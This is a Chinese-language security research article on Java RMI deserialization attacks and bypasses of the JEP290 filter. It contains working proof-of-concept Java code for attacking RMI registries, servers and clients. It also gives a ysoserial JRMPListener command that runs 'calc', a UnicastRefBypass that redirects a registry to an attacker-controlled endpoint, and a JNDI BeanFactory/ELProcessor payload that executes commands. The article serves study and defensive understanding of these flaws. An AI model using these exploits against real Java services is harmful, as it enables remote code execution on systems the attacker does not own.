Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。它是由注册中心、服务端和客户端三部分组成。
注册中心
作为存储远程方法的代理对象的仓库。
服务端
暴露远程对象,并将其代理对象注册进 RMI Registry。一个代理对象在服务端中包含一个skeleton对象,用于接受来自stub对象的调用。
客户端
查找远程代理对象,远程调用服务对象。一个代理对象在调用该远程对象的客户端上包含一个stub对象,负责调用参数和返回值的序列化、打包解包,以及网络层的通讯过程。
RMI的各种攻击方式本质上是利用对象传输过程中反序列化实现的,以下是几种常见的攻击方式。
当服务端向注册中心注册时,注册中心会反序列化服务端绑定的对象,具体体现在sun.rmi.registry.RegistryImpl_Skel#dispatch
。当服务端注册绑定的是一个恶意的对象时,就可造成反序列化漏洞。当然,由于绑定的对象需要是Remote
对象,所以恶意对象需要实现使用代理类或改写注册方法才能注册绑定。
在远程方法实例化的过程中,调用的父类java.rmi.server.UnicastRemoteObject
的构造方法,最终是调用了sun.rmi.server.Util#createProxy
方法创建Remote
的动态代理类对象并返回。
POC中的动态代理类按照createProxy
方法中逻辑写即可,其中InvocationHandler
子类通常选择sun.reflect.annotation.AnnotationInvocationHandler
,它具有Map<String, Object>
类型的属性memberValues
可以很方便的绑定反序列化的恶意对象。
最终POC如下:
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
HashMap<String, Object> map = new HashMap<>();
map.put("obj", evilObject());InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
Remote remoteObj = (Remote) Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[]{Remote.class},
invocationHandler
);
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1009);
registry.bind("AttackRegistry", remoteObj);
攻击服务端其中一种方法是通过反序列化远程方法参数实现的。服务端反序列化参数体现在sun.rmi.server.UnicastServerRef#dispatch
方法里调用的unmarshalParameters
方法,最终通过sun.rmi.server.UnicastRef#unmarshalValue
方法反序列化非基本类型的参数。
protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
if (var0.isPrimitive()) {
...
} else {
return var1.readObject();
}
}
反序列化参数的利用POC比较简单,但需要服务端以Object
未参数的远程方法,Demo如下:
# 接口
public interface IRemoteMethod extends Remote {
public IRemoteMethod exploit(Object obj) throws RemoteException;
}# 实现类
public class RemoteMethod extends UnicastRemoteObject implements IRemoteMethod {
protected RemoteMethod() throws RemoteException {
}
public IRemoteMethod exploit(Object obj) throws RemoteException {
return null;
}
}
然后在客户端里放上同样的接口,从注册中心获取远程方法信息,并以恶意对象调用远程方法即可。
public static void main(String[] args) throws Exception {
IRemoteMethod remoteMethod = (IRemoteMethod) new InitialContext().lookup("rmi://192.168.78.137:1009/RemoteMethod"");
remoteMethod.exploit(evilObject());
}
对于非Object参数,但又是Object子类的远程方法,可以用动态代理或继承该子类的方法绕过。
当客户端lookup
时,也会从注册中心获取并反序列化注册绑定的对象,这时的反序列化是在存根sun.rmi.registry.RegistryImpl_Stub#lookup
方法中进行。POC的构造也与注册中心反序列化的差不多,只是改成由注册中心注册绑定恶意类:
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
HashMap<String, Object> map = new HashMap<>();
map.put("obj", evilObject());InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
Remote remoteObj = (Remote) Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[]{Remote.class},
invocationHandler
);
Registry registry = LocateRegistry.createRegistry(1009);
registry.bind("AttackRegistry", remoteObj);
当远程方法的返回值不为空,且不为基础类型时,就会对返回值进行反序列化。反序列化返回值与服务端反序列化参数的调用栈类似,最终都是通过sun.rmi.server.UnicastRef#unmarshalValue
方法反序列化。
POC也很简单,远程方法直接返回恶意对象即可:
public class AttackerRemoteMethod extends UnicastRemoteObject implements IAttackerRemoteMethod { public Object exploit() throws RemoteException {
return evilObject();
}
}
JEP290是JDK9引入的规范,并且向下兼容到JDK 8u121、JDK 7u131和JDK 6u141。其核心机制是由序列化客户端实现并设置在ObjectInputStream
,在反序列化过程中调用过滤器接口方法来验证正在反序列化的类、正在创建的数组的大小以及反序列化的长度、深度和反序列化时引用的数量,返回REJECTED
、ALLOWED
或UNDECIDED
状态。他的过滤接口方法并不是默认配置的,而是通过jdk.serialFilter
属性设置全局过滤接口方法或setObjectInputFilter
方法设置局部过滤接口方法。
在RMI反序列化过程中仅注册中心在sun.rmi.registry.RegistryImpl#registryFilter
中实现,对反序列化的深度、数组大小和反序列化的类做了限制。
private static Status registryFilter(FilterInfo var0) {
if (registryFilter != null) {
Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
} if (var0.depth() > 20L) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 != null) {
if (!var2.isArray()) {
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
} else {
return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
}
} else {
return Status.UNDECIDED;
}
}
}
UnicastRef 是RMI注册中心反序列化白名单中的类,是正常bind对象后注册中心得到的stub中的属性。
下面调试下正常的注册流程,直接在sun.rmi.registry.RegistryImpl_Skel#dispatch
处,注册中心反序列化服务端bind对象开始。接着调用封装类的父类RemoteObject
的自定义readObject
方法。在这里会实例化Reference类UnicastRef
,并调用他的readExternal
反序列化。readExternal
里接着调用sun.rmi.transport.LiveRef#read
给UnicastRef
的ref
属性赋值。
read:291, LiveRef (sun.rmi.transport)
readExternal:489, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
...
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
sun.rmi.transport.LiveRef#read
方法里,主要逻辑是从输入流中获取TCPEndpoint
和ObjID
,来初始化LiveRef
并返回。这里的TCPEndpoint
记录着服务端监听的地址和端口,并且方法里保存LiveRef
到输入流的操作会将TCPEndpoint
保存到输入流的incomingRefTable
属性中,这一步很关键。
反序列化结束后就是注册引用的流程。
在sun.rmi.transport.DGCImpl_Stub#dirty
方法首先利用反序列化的UnicastRef
建立连接,返回一个StreamRemoteCall
对象,接着调用它的invoke
方法。
invoke
方法最后调用的是StreamRemoteCall
对象的executeCall
方法,通过getInputStream
方法从conn
属性获取输入流赋值给in
属性,然后从输入流中获取一个字节赋给var1
,进入switch语句中,为2则反序列化输入流。至此与UnicateRef绕过JEP290的流程就结束了。
public void executeCall() throws Exception {
DGCAckHandler var2 = null; byte var1;
try {
...
this.getInputStream();
var1 = this.in.readByte();
this.in.readID();
} catch (UnmarshalException var11) {
...
}
switch(var1) {
case 1:
return;
case 2:
Object var14;
try {
var14 = this.in.readObject();
} catch (Exception var10) {
throw new UnmarshalException("Error unmarshaling return", var10);
}
...
}
...
}
关于这个var1
作用,查了AdoptOpenJDK的源码得知是JRMP协议中返回值的标记,正常返回值不会进行反序列化。UnicastRef绕过JEP290使用ysoserial中的JRMPlistener,其将报错返回改成反序列化的payload,实现命令执行。
最后服务端的代码如下,相比正常的流程可以控制LiveRef
指向恶意的服务端ip和端口。
public class UnicastRefBypass { public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry("localhost", 1009);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("10.91.33.139", 3333);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(UnicastRefBypass.class.getClassLoader(), new Class[]{
Registry.class
}, obj);
reg.bind("UnicastRefBypass", proxy);
}
}
在8u231的修复中,sun.rmi.transport.DGCImpl_Stub#dirty
提前为输入流filter
属性设置了过滤接口方法,在后续sun.rmi.transport.StreamRemoteCall#executeCall
中又捕获过滤接口方法抛出的InvalidClassException
异常,清空输入流中incomingRefTable
属性的值。前者使得利用UnicastRef
类绕过方式在反序列化Exception
返回值时无法反序列化任意类。
国外安全研究员An Trinh在8u231版本发布前提出的一种绕过方式,没有使用注册流程中注册中心发起连接到服务端的输入流,而是利用注册中心在反序列化服务端绑定的对象过程中发起JRMP请求,巧妙地绕过了过滤。
先从直接反序列化构造的对象来复现下这个POC,首先用ysoserial起一个JRMPListener
的exploit。
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections6 "calc"
然后再现在下面的POC反序列化。
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);RMIServerSocketFactory serverSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
RMIServerSocketFactory.class.getClassLoader(),
new Class[]{RMIServerSocketFactory.class, Remote.class},
obj
);
Constructor constructor = UnicastRemoteObject.class.getDeclaredConstructor(null);
constructor.setAccessible(true);
UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) constructor.newInstance(null);
Field field = UnicastRemoteObject.class.getDeclaredField("ssf");
field.setAccessible(true);
field.set(unicastRemoteObject, serverSocketFactory);
// Registry reg = LocateRegistry.getRegistry("localhost", 1009);
// reg.bind("Exploit", unicastRemoteObject);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(unicastRemoteObject);
byte[] result = byteArrayOutputStream.toByteArray();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
调用栈很长,先从java.rmi.server.UnicastRemoteObject#reexport
方法开始。当csf
或ssf
属性非空时,会用csf
和ssf
实例化一个UnicastServerRef2
对象,并调用UnicastServerRef2
父类UnicastServerRef
的exportObject
方法。
UnicastServerRef
的exportObject
方法就是实现监听端口的操作。后续精彩的部分来了,监听端口的操作会调用sun.rmi.transport.tcp.TCPEndpoint#newServerSocket
方法,其中会调用它的ssf
属性的方法,这个ssf
属性与前面UnicastRemoteObject
对象的ssf
属性一致,是封装RemoteObjectInvocationHandler
的代理类对象。由于代理类的特性,会先调用RemoteObjectInvocationHandler
类的invoke
方法。再后面的调用栈与客户端调用远程方法的调用栈一致,也就是原本的注册中心变成了客户端,由于客户端没有启动JEP290设置,也就绕过了注册中心的JEP290限制。
单在实际注册绑定的过程中,构造的类会在RegistryImpl_Stub
的bind方法中,序列化类的输出流ConnectionOutputStream
的父类MarshalOutputStream
的enableReplace
属性永为true
,代理类被替换为UnicastRef
造成利用链被破坏,所以实际利用中要想办法将enableReplace
值改为false
。ysomap中有实现方法,感兴趣可以看一看。
除了以上注册中心JEP290的限制之外,RMI中服务端对客户端的攻击:JNDI注入,使用rmi和ldap协议加载外部工厂类也先后受到trustURLCodebase
的限制,只能从本地工厂类实例化对象。
使用本地工厂类进行JNDI注入和RMI协议远程加载恶意类的JNDI注入开头的调用栈基本相似,毕竟两者都是基于RMI协议的,但在javax.naming.spi.NamingManager#getObjectInstance
这里开始就有所不同。在调用getObjectFactoryFromReference
方法时返回的是本地正常的工厂类,这个工厂类是ObjectFactory
的实现类或他的子类,然后调用工厂类的getObjectInstance
方法。
现在比较通用的ObjectFactory
实现类是BeanFactory
,他的getObjectInstance
方法会从ResourceRef
对象的className
属性获取类名并实例化,然后从forceString的String引用地址以=
号分割获取参数名和setter方法名,并反射获取这个setter参数为String的方法,最后获取参数名的String引用地址内内容,用实例化的对象调用这个setter方法。
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException { if (obj instanceof ResourceRef) {
try {
Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl =
Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch(ClassNotFoundException e) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch(ClassNotFoundException e) {
e.printStackTrace();
}
}
if (beanClass == null) {
throw new NamingException
("Class not found: " + beanClassName);
}
...
Object bean = beanClass.getConstructor().newInstance();
/* Look for properties with explicitly configured setter */
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap<>();
String value;
if (ra != null) {
value = (String)ra.getContent();
Class<?> paramTypes[] = new Class[1];
paramTypes[0] = String.class;
String setterName;
int index;
/* Items are given as comma separated list */
for (String param: value.split(",")) {
param = param.trim();
/* A single item can either be of the form name=method
* or just a property name (and we will use a standard
* setter) */
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
...
}
try {
forced.put(param,
beanClass.getMethod(setterName, paramTypes));
} catch (NoSuchMethodException|SecurityException ex) {
...
}
}
}
Enumeration<RefAddr> e = ref.getAll();
while (e.hasMoreElements()) {
ra = e.nextElement();
String propName = ra.getType();
if (propName.equals(Constants.FACTORY) ||
propName.equals("scope") || propName.equals("auth") ||
propName.equals("forceString") ||
propName.equals("singleton")) {
continue;
}
value = (String)ra.getContent();
Object[] valueArray = new Object[1];
/* Shortcut for properties with explicitly configured setter */
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
try {
method.invoke(bean, valueArray);
} catch (...) {
...
}
continue;
}
...
}
return bean;
} catch (java.beans.IntrospectionException ie) {
...
}
} else {
return null;
}
}
结合以上getObjectInstance
代码逻辑,被反射的类需要符合以下条件才可被利用:
一些使用了tomcat-embed-el
依赖的项目,或者部分tomcat和spring的版本下具有的javax.el.ELProcessor
类和他的eval
方法符合这些条件,最终构造出用于绑定的Remote对象如下:
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String) null, "", "", true, "org.apache.naming.factory.BeanFactory", (String) null);
resourceRef.add(new StringRefAddr("forceString", "a=eval"));
resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"calc\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
https://mp.weixin.qq.com/s/AG0OfLfQWW-winIWiOtwLQ
https://su18.org/post/rmi-attack/
http://pipinstall.cn/2021/05/31/%E6%B7%B1%E5%85%A5%E5%AD%A6%E4%B9%A0RMI%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
https://xz.aliyun.com/t/7932
https://cert.360.cn/report/detail?id=add23f0eafd94923a1fa116a76dee0a1
https://www.anquanke.com/post/id/263726
https://tttang.com/archive/1405/
https://mp.weixin.qq.com/s/gBuKDjRfnbJDv6TG5F6q3w